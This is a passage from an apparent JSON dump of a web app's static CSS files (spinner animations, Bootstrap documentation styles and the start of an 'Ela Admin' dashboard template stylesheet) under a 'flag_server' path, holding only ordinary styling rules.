*/\n.jumbotron {\n  text-align: center;\n  border-bottom: 1px solid #e5e5e5;\n}\n.jumbotron .btn {\n  padding: 14px 24px;\n  font-size: 21px;\n}\n\n/* Responsive: Portrait tablets and up */\n@media screen and (min-width: 768px) {\n  /* Remove the padding we set earlier */\n  .header,\n  .footer {\n    padding-right: 0;\n    padding-left: 0;\n  }\n  /* Space out the masthead */\n  .header {\n    margin-bottom: 30px;\n  }\n  /* Remove the bottom border on the jumbotron for visual effect */\n  .jumbotron {\n    border-bottom: 0;\n  }\n}\n"
  },
  {
    "path": "flag_server/webapps/static/css/spinners.css",
    "content": "\n\n.preloader{\n  position: relative;\n  margin: 0 auto;\n  width: 100px;\n}\n.preloader:before{\n    content: '';\n    display: block;\n    padding-top: 100%;\n}\n.circular {\n  animation: rotate 2s linear infinite;\n  height: 50px;\n  transform-origin: center center;\n  width: 50px;\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  right: 0;\n  margin: auto;\n}\n.path {\n  stroke-dasharray: 1, 200;\n  stroke-dashoffset: 0;\n  animation: dash 1.5s ease-in-out infinite, color 6s ease-in-out infinite;\n  stroke-linecap: round;\n}\n@keyframes rotate {\n  100% {\n    transform: rotate(360deg);\n  }\n}\n\n@keyframes dash {\n  0% {\n    stroke-dasharray: 1, 200;\n    stroke-dashoffset: 0;\n  }\n  50% {\n    stroke-dasharray: 89, 200;\n    stroke-dashoffset: -35px;\n  }\n  100% {\n    stroke-dasharray: 89, 200;\n    stroke-dashoffset: -124px;\n  }\n}\n\n@keyframes color {\n  100%,\n  0% {\n    stroke: #d62d20;\n  }\n  40% {\n    stroke: #0057e7;\n  }\n  66% {\n    stroke: #008744;\n  }\n  80%,\n  90% {\n    stroke: #ffa700;\n  }\n}\n.bd-booticon{display:block;width:9rem;height:9rem;font-size:6.5rem;line-height:9rem;color:#fff;text-align:center;cursor:default;background-color:#563d7c;border-radius:15%}.bd-booticon.inverse{color:#563d7c;background-color:#fff}.bd-booticon.outline{background-color:transparent;border:1px solid #cdbfe3}.bd-navbar .navbar-nav .nav-link{color:#8e869d}.bd-navbar .navbar-nav .nav-link.active,.bd-navbar .navbar-nav .nav-link:focus,.bd-navbar .navbar-nav .nav-link:hover{color:#292b2c;background-color:transparent}.bd-navbar .navbar-nav .nav-link.active{font-weight:500;color:#040404}.bd-navbar .dropdown-menu{font-size:inherit}.bd-masthead{position:relative;padding:3rem 15px 2rem;color:#cdbfe3;text-align:center;background-image:-webkit-linear-gradient(315deg,#271b38,#563d7c,#7952b3);background-image:-o-linear-gradient(315deg,#271b38,#563d7c,#7952b3);background-image:linear-gradient(135deg,#271b38,#563d7c,#7952b3)}.bd-masthead .bd-booticon{margin:0 auto 2rem;color:#cdbfe3;border-color:#cdbfe3}.bd-masthead h1{font-weight:300;line-height:1}.bd-masthead .lead{margin-right:auto;margin-bottom:2rem;margin-left:auto;font-size:1.25rem;color:#fff}.bd-masthead .version{margin-top:-1rem;margin-bottom:2rem}.bd-masthead .btn{width:100%;padding:1rem 2rem;font-size:1.25rem;font-weight:500;color:#ffe484;border-color:#ffe484}.bd-masthead .btn:hover{color:#2a2730;background-color:#ffe484;border-color:#ffe484}.bd-masthead .carbonad{margin-bottom:-2rem!important}@media (min-width:576px){.bd-masthead{padding-top:8rem;padding-bottom:2rem}.bd-masthead .btn{width:auto}.bd-masthead .carbonad{margin-bottom:0!important}}@media (min-width:768px){.bd-masthead{padding-bottom:4rem}.bd-masthead .bd-header{margin-bottom:4rem}.bd-masthead h1{font-size:4rem}.bd-masthead .lead{font-size:1.5rem}.bd-masthead .carbonad{margin-top:3rem!important}}@media (min-width:992px){.bd-masthead .lead{width:85%;font-size:2rem}}.bd-featurette{padding-top:3rem;padding-bottom:3rem;font-size:1rem;line-height:1.5;color:#555;text-align:center;background-color:#fff;border-top:1px solid #eee}.bd-featurette .highlight{text-align:left}.bd-featurette .lead{margin-right:auto;margin-bottom:2rem;margin-left:auto;font-size:1rem;text-align:center}@media (min-width:576px){.bd-featurette{text-align:left}}@media (min-width:768px){.bd-featurette .col-sm-6:first-child{padding-right:45px}.bd-featurette .col-sm-6:last-child{padding-left:45px}}.bd-featurette-title{margin-bottom:.5rem;font-size:2rem;font-weight:400;color:#333;text-align:center}.half-rule{width:6rem;margin:2.5rem auto}@media (min-width:576px){.half-rule{margin-right:0;margin-left:0}}.bd-featurette h4{margin-top:1rem;margin-bottom:.5rem;font-weight:400;color:#333}.bd-featurette-img{display:block;margin-bottom:1.25rem;color:#333}.bd-featurette-img:hover{color:#0275d8;text-decoration:none}.bd-featurette-img img{display:block;margin-bottom:1rem}@media (min-width:480px){.bd-featurette .img-fluid{margin-top:2rem}}@media (min-width:768px){.bd-featurette{padding-top:6rem;padding-bottom:6rem}.bd-featurette-title{font-size:2.5rem}.bd-featurette-title+.lead{font-size:1.5rem}.bd-featurette .lead{max-width:80%}.bd-featurette .img-fluid{margin-top:0}}.bd-featured-sites{margin-right:-1px;margin-left:-1px}.bd-featured-sites .col-6{padding:1px}.bd-featured-sites .img-fluid{margin-top:0}@media (min-width:768px){.bd-featured-sites .col-sm-3:first-child img{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.bd-featured-sites .col-sm-3:last-child img{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}}#carbonads{display:block;padding:15px 15px 15px 160px;margin:50px -15px 0;overflow:hidden;font-size:13px;line-height:1.5;text-align:left;border:solid #866ab3;border-width:1px 0 0}#carbonads a{color:#fff;text-decoration:none}@media (min-width:576px){#carbonads{max-width:330px;margin:50px auto 0;border-width:1px;border-radius:4px}}@media (min-width:992px){#carbonads{position:absolute;top:0;right:15px;margin-top:0}.bd-masthead #carbonads{position:static}}.carbon-img{float:left;margin-left:-145px}.carbon-poweredby{display:block;color:#cdbfe3!important}.bd-content>table{display:block;width:100%;max-width:100%;margin-bottom:1rem;overflow-y:auto}.bd-content>table>tbody>tr>td,.bd-content>table>tbody>tr>th,.bd-content>table>tfoot>tr>td,.bd-content>table>tfoot>tr>th,.bd-content>table>thead>tr>td,.bd-content>table>thead>tr>th{padding:.75rem;vertical-align:top;border:1px solid #eceeef}.bd-content>table>tbody>tr>td>p:last-child,.bd-content>table>tbody>tr>th>p:last-child,.bd-content>table>tfoot>tr>td>p:last-child,.bd-content>table>tfoot>tr>th>p:last-child,.bd-content>table>thead>tr>td>p:last-child,.bd-content>table>thead>tr>th>p:last-child{margin-bottom:0}.bd-content>table td:first-child>code{white-space:nowrap}.bd-content>h2:not(:first-child){margin-top:3rem}.bd-content>h3{margin-top:1.5rem}.bd-content>ol li,.bd-content>ul li{margin-bottom:.25rem}@media (min-width:576px){.bd-title{font-size:3rem}.bd-title+p{font-size:1.25rem;font-weight:300}}#markdown-toc>li:first-child{display:none}#markdown-toc ul{padding-left:2rem;margin-top:.25rem;margin-bottom:.25rem}.bd-pageheader{padding:2rem 15px;margin-bottom:1.5rem;color:#cdbfe3;text-align:center;background-color:#563d7c}.bd-pageheader .container{position:relative}.bd-pageheader h1{font-size:3rem;font-weight:400;color:#fff}.bd-pageheader p{margin-bottom:0;font-size:1.25rem;font-weight:300}@media (min-width:576px){.bd-pageheader{padding-top:4rem;padding-bottom:4rem;margin-bottom:3rem;text-align:left}.bd-pageheader .carbonad{margin:2rem 0 0!important}}@media (min-width:768px){.bd-pageheader h1{font-size:4rem}.bd-pageheader p{font-size:1.5rem}}@media (min-width:992px){.bd-pageheader h1,.bd-pageheader p{margin-right:380px}.bd-pageheader .carbonad{position:absolute;top:0;right:.75rem;margin:0!important}}#skippy{display:block;padding:1em;color:#fff;background-color:#563d7c;outline:0}#skippy .skiplink-text{padding:.5em;outline:1px dotted}@media (min-width:768px){.bd-sidebar{padding-left:1rem}}.bd-search{position:relative;margin-bottom:1.5rem}.bd-search .form-control{height:2.45rem;padding-top:.4rem;padding-bottom:.4rem;background-color:#fafafa}.bd-search .form-control:focus{background-color:#fff}.bd-search-results{right:0;display:block;padding:0;overflow:hidden;font-size:.9rem}.bd-search-results:empty{display:none}.bd-search-results .dropdown-item{padding-right:.75rem;padding-left:.75rem}.bd-search-results .dropdown-item:first-child{margin-top:.25rem}.bd-search-results .dropdown-item:last-child{margin-bottom:.25rem}.bd-search-results .no-results{padding:.75rem 1rem;color:#7a7a7a;text-align:center;white-space:normal}.bd-sidenav{display:none}.bd-toc-link{display:block;padding:.25rem .75rem;color:#464a4c}.bd-toc-link:focus,.bd-toc-link:hover{color:#0275d8;text-decoration:none}.active>.bd-toc-link{font-weight:500;color:#292b2c}.active>.bd-sidenav{display:block}.bd-toc-item.active{margin-top:1rem;margin-bottom:1rem}.bd-toc-item:first-child{margin-top:0}.bd-toc-item:last-child{margin-bottom:2rem}.bd-sidebar .nav>li>a{display:block;padding:.25rem .75rem;font-size:90%;color:#99979c}.bd-sidebar .nav>li>a:focus,.bd-sidebar .nav>li>a:hover{color:#0275d8;text-decoration:none;background-color:transparent}.bd-sidebar .nav>.active:focus>a,.bd-sidebar .nav>.active:hover>a,.bd-sidebar .nav>.active>a{font-weight:500;color:#292b2c;background-color:transparent}.bd-footer{padding:4rem 0;margin-top:4rem;font-size:85%;text-align:center;background-color:#f7f7f7}.bd-footer a{font-weight:500;color:#464a4c}.bd-footer a:hover{color:#0275d8}.bd-footer p{margin-bottom:0}@media (min-width:576px){.bd-footer{text-align:left}}.bd-footer-links{padding-left:0;margin-bottom:1rem}.bd-footer-links li{display:inline-block}.bd-footer-links li+li{margin-left:1rem}.bd-example-row .row+.row{margin-top:1rem}.bd-example-row .row>.col,.bd-example-row .row>[class^=col-]{padding-top:.75rem;padding-bottom:.75rem;background-color:rgba(86,61,124,.15);border:1px solid rgba(86,61,124,.2)}.bd-example-row .flex-items-bottom,.bd-example-row .flex-items-middle,.bd-example-row .flex-items-top{min-height:6rem;background-color:rgba(255,0,0,.1)}.bd-example-row-flex-cols .row{min-height:10rem;background-color:rgba(255,0,0,.1)}.bd-highlight{background-color:rgba(86,61,124,.15);border:1px solid rgba(86,61,124,.15)}.bd-example-container{min-width:16rem;max-width:25rem;margin-right:auto;margin-left:auto}.bd-example-container-header{height:3rem;margin-bottom:.5rem;background-color:#daeeff;border-radius:.25rem}.bd-example-container-sidebar{float:right;width:4rem;height:8rem;background-color:#fae3c4;border-radius:.25rem}.bd-example-container-body{height:8rem;margin-right:4.5rem;background-color:#957bbe;border-radius:.25rem}.bd-example-container-fluid{max-width:none}.bd-example{position:relative;padding:1rem;margin:1rem -1rem;border:solid #f7f7f9;border-width:.2rem 0 0}.bd-example::after{display:block;content:\"\";clear:both}@media (min-width:576px){.bd-example{padding:1.5rem;margin-right:0;margin-bottom:0;margin-left:0;border-width:.2rem}}.bd-example+.clipboard+.highlight,.bd-example+.highlight{margin-top:0}.bd-example+p{margin-top:2rem}.bd-example .pos-f-t{position:relative;margin:-1rem}@media (min-width:576px){.bd-example .pos-f-t{margin:-1.5rem}}.bd-example>.form-control+.form-control{margin-top:.5rem}.bd-example>.alert+.alert,.bd-example>.nav+.nav,.bd-example>.navbar+.navbar,.bd-example>.progress+.btn,.bd-example>.progress+.progress{margin-top:1rem}.bd-example>.dropdown-menu:first-child{position:static;display:block}.bd-example>.form-group:last-child{margin-bottom:0}.bd-example>.close{float:none}.bd-example-type .table .type-info{color:#999;vertical-align:middle}.bd-example-type .table td{padding:1rem 0;border-color:#eee}.bd-example-type .table tr:first-child td{border-top:0}.bd-example-type h1,.bd-example-type h2,.bd-example-type h3,.bd-example-type h4,.bd-example-type h5,.bd-example-type h6{margin:0}.bd-example-bg-classes p{padding:1rem}.bd-example>img+img{margin-left:.5rem}.bd-example>.btn-group{margin-top:.25rem;margin-bottom:.25rem}.bd-example>.btn-toolbar+.btn-toolbar{margin-top:.5rem}.bd-example-control-sizing input[type=text]+input[type=text],.bd-example-control-sizing select{margin-top:.5rem}.bd-example-form .input-group{margin-bottom:.5rem}.bd-example>textarea.form-control{resize:vertical}.bd-example>.list-group{max-width:400px}.bd-example .fixed-top,.bd-example .sticky-top{position:static;margin:-1rem -1rem 1rem}.bd-example .fixed-bottom{position:static;margin:1rem -1rem -1rem}@media (min-width:576px){.bd-example .fixed-top,.bd-example .sticky-top{margin:-1.5rem -1.5rem 1rem}.bd-example .fixed-bottom{margin:1rem -1.5rem -1.5rem}}.bd-example .pagination{margin-top:.5rem;margin-bottom:.5rem}.bd-example-modal{background-color:#fafafa}.bd-example-modal .modal{position:relative;top:auto;right:auto;bottom:auto;left:auto;z-index:1;display:block}.bd-example-modal .modal-dialog{left:auto;margin-right:auto;margin-left:auto}.bd-example-tabs .nav-tabs{margin-bottom:1rem}.bd-example-tooltips{text-align:center}.bd-example-tooltips>.btn{margin-top:.25rem;margin-bottom:.25rem}.bd-example-popover-static{padding-bottom:1.5rem;background-color:#f9f9f9}.bd-example-popover-static .popover{position:relative;display:block;float:left;width:260px;margin:1.25rem}.tooltip-demo a{white-space:nowrap}.bd-example-tooltip-static .tooltip{position:relative;display:inline-block;margin:10px 20px;opacity:1}.scrollspy-example{position:relative;height:200px;margin-top:.5rem;overflow:auto}.bd-example>.bg-danger:not(.navbar),.bd-example>.bg-faded:not(.navbar),.bd-example>.bg-info:not(.navbar),.bd-example>.bg-inverse:not(.navbar),.bd-example>.bg-primary:not(.navbar),.bd-example>.bg-success:not(.navbar),.bd-example>.bg-warning:not(.navbar){padding:.5rem;margin-top:.5rem;margin-bottom:.5rem}.bd-example-border-utils [class^=border-]{display:inline-block;width:6rem;height:6rem;margin:.25rem;background-color:#f5f5f5;border:1px solid}.highlight{padding:1rem;margin:1rem -15px;background-color:#f7f7f9;-ms-overflow-style:-ms-autohiding-scrollbar}@media (min-width:576px){.highlight{padding:1.5rem;margin-right:0;margin-left:0}}.highlight pre{padding:0;margin-top:0;margin-bottom:0;background-color:transparent;border:0}.highlight pre code{font-size:inherit;color:#292b2c}.table-responsive .highlight pre{white-space:normal}.bd-table th small,.responsive-utilities th small{display:block;font-weight:400;color:#999}.responsive-utilities tbody th{font-weight:400}.responsive-utilities td{text-align:center}.responsive-utilities .is-visible{color:#468847;background-color:#dff0d8!important}.responsive-utilities .is-hidden{color:#ccc;background-color:#f9f9f9!important}.responsive-utilities-test{margin-top:.25rem}.responsive-utilities-test .col-6{margin-top:.5rem;margin-bottom:.5rem}.responsive-utilities-test span{display:block;padding:1rem .5rem;font-size:1rem;font-weight:700;line-height:1.1;text-align:center;border-radius:.25rem}.hidden-on .col-6>.not-visible,.visible-on .col-6>.not-visible{color:#999;border:1px solid #ddd}.hidden-on .col-6 .visible,.visible-on .col-6 .visible{color:#468847;background-color:#dff0d8;border:1px solid #d6e9c6}@media (max-width:575px){.hidden-xs-only{display:none!important}}@media (min-width:576px) and (max-width:767px){.hidden-sm-only{display:none!important}}@media (min-width:768px) and (max-width:991px){.hidden-md-only{display:none!important}}@media (min-width:992px) and (max-width:1199px){.hidden-lg-only{display:none!important}}@media (min-width:1200px){.hidden-xl-only{display:none!important}}.btn-bs{font-weight:500;color:#7952b3;border-color:#7952b3}.btn-bs:active,.btn-bs:focus,.btn-bs:hover{color:#fff;background-color:#7952b3;border-color:#7952b3}.bd-callout{padding:1.25rem;margin-top:1.25rem;margin-bottom:1.25rem;border:1px solid #eee;border-left-width:.25rem;border-radius:.25rem}.bd-callout h4{margin-top:0;margin-bottom:.25rem}.bd-callout p:last-child{margin-bottom:0}.bd-callout code{border-radius:.25rem}.bd-callout+.bd-callout{margin-top:-.25rem}.bd-callout-info{border-left-color:#5bc0de}.bd-callout-info h4{color:#5bc0de}.bd-callout-warning{border-left-color:#f0ad4e}.bd-callout-warning h4{color:#f0ad4e}.bd-callout-danger{border-left-color:#d9534f}.bd-callout-danger h4{color:#d9534f}.bd-examples .img-thumbnail{margin-bottom:.75rem}.bd-examples h4{margin-bottom:.25rem}.bd-examples p{margin-bottom:1.25rem}@media (max-width:480px){.bd-examples{margin-right:-.75rem;margin-left:-.75rem}.bd-examples>[class^=col-]{padding-right:.75rem;padding-left:.75rem}}.bd-team{margin-bottom:1.5rem}.bd-team .team-member{line-height:2rem;color:#555}.bd-team .team-member:hover{color:#333;text-decoration:none}.bd-team .github-btn{float:right;width:180px;height:1.25rem;margin-top:.25rem;border:0}.bd-team img{float:left;width:2rem;margin-right:.5rem;border-radius:.25rem}.bd-browser-bugs td p{margin-bottom:0}.bd-browser-bugs th:first-child{width:18%}.bd-brand-logos{display:table;width:100%;margin-bottom:1rem;overflow:hidden;color:#563d7c;background-color:#f9f9f9;border-radius:.25rem}.bd-brand-item{padding:4rem 0;text-align:center}.bd-brand-item+.bd-brand-item{border-top:1px solid #fff}.bd-brand-logos .inverse{color:#fff;background-color:#563d7c}.bd-brand-item h1,.bd-brand-item h3{margin-top:0;margin-bottom:0}.bd-brand-item .bd-booticon{margin-right:auto;margin-left:auto}@media (min-width:768px){.bd-brand-item{display:table-cell;width:1%}.bd-brand-item+.bd-brand-item{border-top:0;border-left:1px solid #fff}.bd-brand-item h1{font-size:4rem}}.color-swatches{margin:0 -5px;overflow:hidden}.color-swatch{float:left;width:4rem;height:4rem;margin-right:.25rem;margin-left:.25rem;border-radius:.25rem}@media (min-width:768px){.color-swatch{width:6rem;height:6rem}}.color-swatches .bd-purple{background-color:#563d7c}.color-swatches .bd-purple-light{background-color:#cdbfe3}.color-swatches .bd-purple-lighter{background-color:#e5e1ea}.color-swatches .bd-gray{background-color:#f9f9f9}.bd-clipboard{position:relative;display:none;float:right}.bd-clipboard+.highlight{margin-top:0}.btn-clipboard{position:absolute;top:.5rem;right:.5rem;z-index:10;display:block;padding:.25rem .5rem;font-size:75%;color:#818a91;cursor:pointer;background-color:transparent;border-radius:.25rem}.btn-clipboard:hover{color:#fff;background-color:#027de7}@media (min-width:768px){.bd-clipboard{display:block}}.hll{background-color:#ffc}.c{color:#999}.k{color:#069}.o{color:#555}.cm{color:#999}.cp{color:#099}.c1{color:#999}.cs{color:#999}.gd{background-color:#fcc;border:1px solid #c00}.ge{font-style:italic}.gr{color:red}.gh{color:#030}.gi{background-color:#cfc;border:1px solid #0c0}.go{color:#aaa}.gp{color:#009}.gu{color:#030}.gt{color:#9c6}.kc{color:#069}.kd{color:#069}.kn{color:#069}.kp{color:#069}.kr{color:#069}.kt{color:#078}.m{color:#f60}.s{color:#d44950}.na{color:#4f9fcf}.nb{color:#366}.nc{color:#0a8}.no{color:#360}.nd{color:#99f}.ni{color:#999}.ne{color:#c00}.nf{color:#c0f}.nl{color:#99f}.nn{color:#0cf}.nt{color:#2f6f9f}.nv{color:#033}.ow{color:#000}.w{color:#bbb}.mf{color:#f60}.mh{color:#f60}.mi{color:#f60}.mo{color:#f60}.sb{color:#c30}.sc{color:#c30}.sd{font-style:italic;color:#c30}.s2{color:#c30}.se{color:#c30}.sh{color:#c30}.si{color:#a00}.sx{color:#c30}.sr{color:#3aa}.s1{color:#c30}.ss{color:#fc3}.bp{color:#366}.vc{color:#033}.vg{color:#033}.vi{color:#033}.il{color:#f60}.css .nt+.nt,.css .o,.css .o+.nt{color:#999}.language-bash::before{color:#009;content:\"$ \";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.language-powershell::before{color:#009;content:\"PM> \";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.anchorjs-link{color:inherit}@media (max-width:480px){.anchorjs-link{display:none}}:hover>.anchorjs-link{opacity:.75;-webkit-transition:color .16s linear;-o-transition:color .16s linear;transition:color .16s linear}.anchorjs-link:focus,:hover>.anchorjs-link:hover{text-decoration:none;opacity:1}"
  },
  {
    "path": "flag_server/webapps/static/css/style.css",
    "content": "@import url(../icons/font-awesome/css/font-awesome.min.css);\n@import url(../icons/simple-line-icons/css/simple-line-icons.css);\n@import url(../icons/weather-icons/css/weather-icons.min.css);\n@import url(../icons/linea-icons/linea.css);\n@import url(../icons/themify-icons/themify-icons.css);\n@import url(../icons/flag-icon-css/flag-icon.min.css);\n@import url(../icons/material-design-iconic-font/css/materialdesignicons.min.css);\n@import url(spinners.css);\n@import url(animate.css);\n/*\n    Template: Ela Admin\n    Author: Zebra Theme\n    Developer by: Zebra Theme\n\n    Table of Content\n    ================\n\n1. variable\n2. fonts\n3. card\n4. global\n5. badge\n6. tab\n7. modal\n8. timeline\n9. data-table\n10. panel\n11. button\n12. header\n13. gmap\n14. chat\n15. carousel\n16. weather\n17. invoice-edit\n18. invoice\n19. widget-stat\n20. recent-comments\n21. recent-message\n22. forms\n23. compose-email\n24. progress-bar\n25. todo-list\n26. datamap\n27. table\n28. order-progress\n29. login\n30. chart\n31. nestable\n32. profile\n33. profile-widget\n34. ui-element-basic\n35. calendar\n36. flot-chart\n37. morris-chart\n38. products_1\n39. products_2\n40. products_3\n41. favourite_menu\n42. order-list\n43. booking-system\n44. scrollable\n45. vector-map\n46. menu-upload\n47. social-media-stats\n48. vertical-carousel\n49. chartist\n50. table-export\n51. ui-widget-v1\n42. responsive\n\n*/\n.preloader {\n  width: 100%;\n  height: 100%;\n  top: 0;\n  position: fixed;\n  z-index: 99999;\n  background: #fff;\n}\n.preloader .cssload-speeding-wheel {\n  position: absolute;\n  top: calc(46.5%);\n  left: calc(46.5%);\n}\n* {\n  outline: none;\n}\nbody {\n  background: #fff;\n  font-family: 'Open Sans', sans-serif;\n  margin: 0;\n  overflow-x: hidden;\n  color: #67757c;\n}\nhtml {\n  position: relative;\n  min-height: 100%;\n  background: #ffffff;\n}\na:focus,\na:hover {\n  text-decoration: none;\n}\na.link {\n  color: #455a64;\n}\na.link:focus,\na.link:hover {\n  color: #1976d2;\n}\n.img-responsive,\n.carousel.vertical .carousel-inner > .item > img,\n.carousel.vertical .carousel-inner > .item > a > img {\n  width: 100%;\n  height: auto;\n  display: inline-block;\n}\n.img-rounded {\n  border-radius: 4px;\n}\n.mdi-set,\n.mdi:before {\n  line-height: initial;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n  color: #455a64;\n  font-weight: 400;\n}\nh1 {\n  line-height: 40px;\n  font-size: 36px;\n}\nh2 {\n  line-height: 36px;\n  font-size: 24px;\n}\nh3 {\n  line-height: 30px;\n  font-size: 21px;\n}\nh4 {\n  line-height: 22px;\n  font-size: 18px;\n}\nh5 {\n  line-height: 18px;\n  font-size: 16px;\n  font-weight: 400;\n}\nh6 {\n  line-height: 16px;\n  font-size: 14px;\n  font-weight: 400;\n}\n.display-5 {\n  font-size: 3rem;\n}\n.display-6 {\n  font-size: 36px;\n}\n.box {\n  border-radius: 4px;\n  padding: 10px;\n}\n.preloader {\n  width: 100%;\n  height: 100%;\n  top: 0;\n  position: fixed;\n  z-index: 99999;\n  background: #fff;\n}\n.preloader .cssload-speeding-wheel {\n  position: absolute;\n  top: calc(46.5%);\n  left: calc(46.5%);\n}\n#main-wrapper {\n  width: 100%;\n}\n.bg-white .card {\n  box-shadow: none;\n}\n.box-shadow {\n  box-shadow: 0 5px 20px rgba(0, 0, 0, 0.05) !important;\n}\n.dropzone {\n  border: 1px dashed #b1b8bb;\n}\n.boxed #main-wrapper {\n  width: 100%;\n  max-width: 1300px;\n  margin: 0 auto;\n  -webkit-box-shadow: 0 0 60px rgba(0, 0, 0, 0.1);\n  box-shadow: 0 0 60px rgba(0, 0, 0, 0.1);\n}\n.boxed #main-wrapper .sidebar-footer {\n  position: absolute;\n}\n.boxed #main-wrapper .footer {\n  display: none;\n}\n.page-wrapper {\n  background: #fafafa;\n  padding-bottom: 60px;\n}\n.container-fluid {\n  padding: 0 30px 25px;\n}\n@media (min-width: 1024px) {\n  .page-wrapper {\n    margin-left: 240px;\n  }\n  .footer {\n    left: 240px;\n  }\n}\n@media (max-width: 1023px) {\n  .page-wrapper {\n    margin-left: 60px;\n    -webkit-transition: 0.2s ease-in;\n    -o-transition: 0.2s ease-in;\n    transition: 0.2s ease-in;\n  }\n  .footer {\n    left: 60px;\n  }\n  .widget-app-columns {\n    -webkit-column-count: 1;\n    -moz-column-count: 1;\n    column-count: 1;\n  }\n}\n.thumb-sm {\n  height: 32px;\n  width: 32px;\n}\n.thumb-md {\n  height: 48px;\n  width: 48px;\n}\n.thumb-lg {\n  height: 88px;\n  width: 88px;\n}\n.hide {\n  display: none;\n}\n.img-circle {\n  border-radius: 100%;\n}\n.radius {\n  border-radius: 4px;\n}\n.text-white {\n  color: #ffffff !important;\n}\n.text-danger {\n  color: #ef5350 !important;\n}\n.text-muted {\n  color: #99abb4 !important;\n}\n.text-warning {\n  color: #ffb22b !important;\n}\n.text-success {\n  color: #26dad2 !important;\n}\n.text-info {\n  color: #1976d2 !important;\n}\n.text-inverse {\n  color: #2f3d4a !important;\n}\n.text-blue {\n  color: #02bec9;\n}\n.text-purple {\n  color: #7460ee;\n}\n.text-primary {\n  color: #5c4ac7;\n}\n.text-megna {\n  color: #00897b;\n}\n.text-dark {\n  color: #67757c;\n}\n.text-themecolor {\n  color: #1976d2;\n}\n.bg-primary {\n  background-color: #5c4ac7 !important;\n}\n.bg-success {\n  background-color: #26dad2 !important;\n}\n.bg-info {\n  background-color: #1976d2 !important;\n}\n.bg-warning {\n  background-color: #ffb22b !important;\n}\n.bg-danger {\n  background-color: #ef5350 !important;\n}\n.bg-megna {\n  background-color: #00897b;\n}\n.bg-theme {\n  background-color: #1976d2;\n}\n.bg-inverse {\n  background-color: #2f3d4a;\n}\n.bg-purple {\n  background-color: #7460ee;\n}\n.bg-light-part {\n  background-color: rgba(0, 0, 0, 0.02);\n}\n.bg-light-primary {\n  background-color: #f1effd;\n}\n.bg-light-success {\n  background-color: #e8fdeb;\n}\n.bg-light-info {\n  background-color: #cfecfe;\n}\n.bg-light-extra {\n  background-color: #ebf3f5;\n}\n.bg-light-warning {\n  background-color: #fff8ec;\n}\n.bg-light-danger {\n  background-color: #f9e7eb;\n}\n.bg-light-inverse {\n  background-color: #f6f6f6;\n}\n.bg-light {\n  background-color: #f2f4f8;\n}\n.bg-white {\n  background-color: #ffffff;\n}\n@media (min-width: 1600px) {\n  .col-xlg-1,\n  .col-xlg-10,\n  .col-xlg-11,\n  .col-xlg-12,\n  .col-xlg-2,\n  .col-xlg-3,\n  .col-xlg-4,\n  .col-xlg-5,\n  .col-xlg-6,\n  .col-xlg-7,\n  .col-xlg-8,\n  .col-xlg-9 {\n    float: left;\n  }\n  .col-xlg-12 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 100%;\n    -ms-flex: 0 0 100%;\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .col-xlg-11 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 91.66666667%;\n    -ms-flex: 0 0 91.66666667%;\n    flex: 0 0 91.66666667%;\n    max-width: 91.66666667%;\n  }\n  .col-xlg-10 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 83.33333333%;\n    -ms-flex: 0 0 83.33333333%;\n    flex: 0 0 83.33333333%;\n    max-width: 83.33333333%;\n  }\n  .col-xlg-9 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 75%;\n    -ms-flex: 0 0 75%;\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-xlg-8 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 66.66666667%;\n    -ms-flex: 0 0 66.66666667%;\n    flex: 0 0 66.66666667%;\n    max-width: 66.66666667%;\n  }\n  .col-xlg-7 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 58.33333333%;\n    -ms-flex: 0 0 58.33333333%;\n    flex: 0 0 58.33333333%;\n    max-width: 58.33333333%;\n  }\n  .col-xlg-6 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 50%;\n    -ms-flex: 0 0 50%;\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-xlg-5 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 41.66666667%;\n    -ms-flex: 0 0 41.66666667%;\n    flex: 0 0 41.66666667%;\n    max-width: 41.66666667%;\n  }\n  .col-xlg-4 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 33.33333333%;\n    -ms-flex: 0 0 33.33333333%;\n    flex: 0 0 33.33333333%;\n    max-width: 33.33333333%;\n  }\n  .col-xlg-3 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 25%;\n    -ms-flex: 0 0 25%;\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-xlg-2 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 16.66666667%;\n    -ms-flex: 0 0 16.66666667%;\n    flex: 0 0 16.66666667%;\n    max-width: 16.66666667%;\n  }\n  .col-xlg-1 {\n    -webkit-box-flex: 0;\n    -webkit-flex: 0 0 8.33333333%;\n    -ms-flex: 0 0 8.33333333%;\n    flex: 0 0 8.33333333%;\n    max-width: 8.33333333%;\n  }\n  .col-xlg-pull-12 {\n    right: 100%;\n  }\n  .col-xlg-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-xlg-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-xlg-pull-9 {\n    right: 75%;\n  }\n  .col-xlg-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-xlg-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-xlg-pull-6 {\n    right: 50%;\n  }\n  .col-xlg-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-xlg-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-xlg-pull-3 {\n    right: 25%;\n  }\n  .col-xlg-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-xlg-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-xlg-pull-0 {\n    right: auto;\n  }\n  .col-xlg-push-12 {\n    left: 100%;\n  }\n  .col-xlg-push-11 {\n    left: 